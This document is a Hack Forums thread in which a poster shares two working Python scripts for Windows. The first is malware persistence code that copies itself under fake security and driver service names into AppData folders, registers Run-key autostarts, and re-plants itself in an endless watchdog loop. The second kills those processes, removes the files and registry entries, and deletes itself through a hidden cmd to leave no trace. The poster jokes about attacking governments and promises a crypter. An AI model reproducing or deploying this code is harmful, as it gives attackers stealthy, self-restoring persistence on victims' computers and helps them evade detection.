

Forum:[Hack Forums](#)

Thread: [persistence + cleanup](#)

0xElPadrino - August 3, 2025, 9:29 pm

some simple python persistence and cleanup code I made a few months back, i'm not responsible for anything anyone does with this code please do not use for malicious purposes BE A GOOD PERSON you should only use malicious code against governments LOL stay blessed peeps ;)

Explanation:

script 1 (persistence)

makes sure a simple text file called flowermug2025.txt does not exist if it does everything stops (thats the killswitch)

copies itself into the same four appdata folders but with fresh random service style names like intelspooler.exe if the file isn't there yet it uses sh.copy2 to plant it

for every planted copy adds a matching value under the users "run" key so each one autostarts at login

fires up any new copies right away (size check keeps out tiny stubs)

spawns a background thread that every few seconds (faster if something got removed) re checks the folders and registry if a file or autostart entry is missing it recreates everything and runs the exe again

keeps doing that loop forever until the killswitch file appears

Code import os as o, sys as s, winreg as w, time as t
import threading as th, shutil as sh, psutil as p, subprocess as sp
import random as r

```
_dl = [  
    o.path.join(o.environ["APPDATA"], "Microsoft", "Media"),  
    o.path.join(o.environ["APPDATA"], "Intel", "Audio"),  
    o.path.join(o.environ["APPDATA"], "Windows", "Audio"),  
    o.path.join(o.environ["APPDATA"], "System32"),  
]
```

```
_kill = o.path.join(o.environ["APPDATA"], "flowermug2025.txt")
```

```
_rnames = [  
    "IntelAudioService", "WindowsSecurityCenter", "MicrosoftSpooler", "SysUpdateManager",  
    "WinDefenderMonitor", "AudioEnhancer", "DisplayDriverHelper", "NetDriverHost",  
    "WinSysGuard", "ServiceHostUpdate", "SpoolerTask", "SecurityHealthService",  
    "AppCompatLayer", "SysFrameBoost", "WindowsIndexing", "IntelWirelessHelper",  
    "RuntimeBrokerService", "UserProfileMonitor", "ShellHostProcess", "SmartScreenSync"
```

```
]
```

```
_rname = lambda: r.choice(_rnames) + ".exe"  
_regkey = lambda: r.choice(_rnames)
```

```
_def_spread_rate = 5  
_fast_spread_rate = 1
```

```
def _x(x):  
    for d in _dl:  
        o.makedirs(d, exist_ok=True)  
        z = o.path.join(d, x)  
        y = s.executable if getattr(s, 'frozen', False) else o.path.abspath(__file__)  
        if not o.path.exists(z):  
            sh.copy2(y, z)  
    return [o.path.join(d, x) for d in _dl]
```

```
def _s(paths):  
    for pth in paths:  
        n = _regkey()  
        try:  
            k = w.OpenKey(w.HKEY_CURRENT_USER,  
r"Software\Microsoft\Windows\CurrentVersion\Run", 0, w.KEY_SET_VALUE)  
            w.SetValueEx(k, n, 0, w.REG_SZ, f"{pth}")  
            w.CloseKey(k)  
        except:  
            pass
```

```
def _v():  
    try:  
        k = w.OpenKey(w.HKEY_CURRENT_USER,  
r"Software\Microsoft\Windows\CurrentVersion\Run", 0, w.KEY_READ)  
        vals = []  
        i = 0  
        while True:  
            try:  
                val = w.EnumValue(k, i)[0]  
                vals.append(val)  
                i += 1  
            except:  
                break  
        w.CloseKey(k)  
        return any(v in _rnames for v in vals)  
    except:  
        return False
```

```
def _z(n):  
    for pr in p.process_iter(['name']):  
        if n.lower() in pr.info['name'].lower():
```

```
    return True
return False
```

```
def _q(paths):
    for pth in paths:
        fn = o.path.basename(pth)
        if not _z(fn) and o.path.exists(pth) and pth.endswith(".exe") and o.path.getsize(pth) > 100000:
            try:
                sp.Popen([pth], shell=False)
            except:
                pass
```

```
def _w():
    delay = _def_spread_rate
    while True:
        if o.path.exists(_kill):
            break

        all_files = []
        for d in _dl:
            for f in o.listdir(d):
                if f.endswith(".exe"):
                    all_files.append(o.path.join(d, f))

        reg_ok = _v()
        files_ok = all([o.path.exists(f) for f in all_files])

        if not reg_ok or not files_ok:
            new_names = [_rname() for _ in range(4)]
            spread_paths = []
            for n in new_names:
                spread_paths.extend(_x(n))
            _s(spread_paths)
            _q(spread_paths)
            delay = _fast_spread_rate
        else:
            delay = _def_spread_rate

        t.sleep(delay)
```

```
def _t():
    th.Thread(target=_w, daemon=True).start()
```

```
if __name__ == "__main__":
    if not o.path.exists(_kill):
        default_name = _rname()
        paths = _x(default_name)
        _s(paths)
        _q(paths)
```

```

    _t()
    while True:
        t.sleep(60)
script 2

```

hunts for any running process whose name looks like one of the fake windows sounding services in its list then forces them closed

sweeps four appdata sub folders deletes any exe that matches those names and finally wipes the whole folders

opens the current user “run” registry key and strips out any autostart entries using those same names

launches a hidden cmd to ping localhost a few seconds and then delete its own executable, so after the cleanup there’s no trace left

Code import os as o, sys as y, winreg as w, shutil as s, psutil as p, time as t, subprocess as q

```

dL=[o.path.join(o.environ["APPDATA"],x) for x in(
    "Microsoft\\Media","Intel\\Audio","Windows\\Audio","System32")]
K=r"Software\\Microsoft\\Windows\\CurrentVersion\\Run"
R=["IntelAudioService","WindowsSecurityCenter","MicrosoftSpooler","SysUpdateManager",
    "WinDefenderMonitor","AudioEnhancer","DisplayDriverHelper","NetDriverHost",
    "WinSysGuard","ServiceHostUpdate","SpoolerTask","SecurityHealthService",
    "AppCompatLayer","SysFrameBoost","WindowsIndexing","IntelWirelessHelper",
    "RuntimeBrokerService","UserProfileMonitor","ShellHostProcess","SmartScreenSync"]
L=[x.lower() for x in R]

def A():
    for z in p.process_iter(["name","exe"]):
        try:
            n=(z.info["name"]or "").lower();e=(z.info.get("exe")or "").lower()
            if any(t in n for t in L)or any(t in e for t in L):z.kill()
        except:pass

def B():
    for d in dL:
        try:
            for f in o.listdir(d):
                if f.lower().endswith(".exe")and any(t in f.lower() for t in L):
                    try:o.remove(o.path.join(d,f))
                    except:pass
            s.rmtree(d,ignore_errors=True)
        except:pass

def C():
    try:
        k=w.OpenKey(w.HKEY_CURRENT_USER,K,0,w.KEY_READ|w.KEY_WRITE);i=0;V=[]
        while True:
            try:V.append(w.EnumValue(k,i)[0]);i+=1
            except:break
        for v in V:

```

```
if v in R:
    try:w.DeleteValue(k,v)
    except:pass
w.CloseKey(k)
except:pass
```

```
def X():
    m=y.executable if getattr(y,"frozen",False)else o.path.abspath(y.argv[0])
    q.Popen(["cmd","/c",f"ping 127.0.0.1 -n 3 >nul & del \"{m}\"",
        creationflags=0x08000000)
```

```
if __name__=="__main__":
    A();t.sleep(1);B();C();X()
```

K4RM4 - August 5, 2025, 6:29 pm

Very interesting! Thank you for sharing!

Curs3d - August 6, 2025, 4:13 pm

Very helpful, I love python!

0xEIPadrino - August 6, 2025, 4:22 pm

(Aug 6, 2025 04:13 PM)Curs3d Wrote: [\[CITE\]](#) Very helpful, I love python!
ya same thank you guido van rossum,

i have some more scripts im working on when i have free time ill share on here hopefully help any beginners out

free crypter ill share soon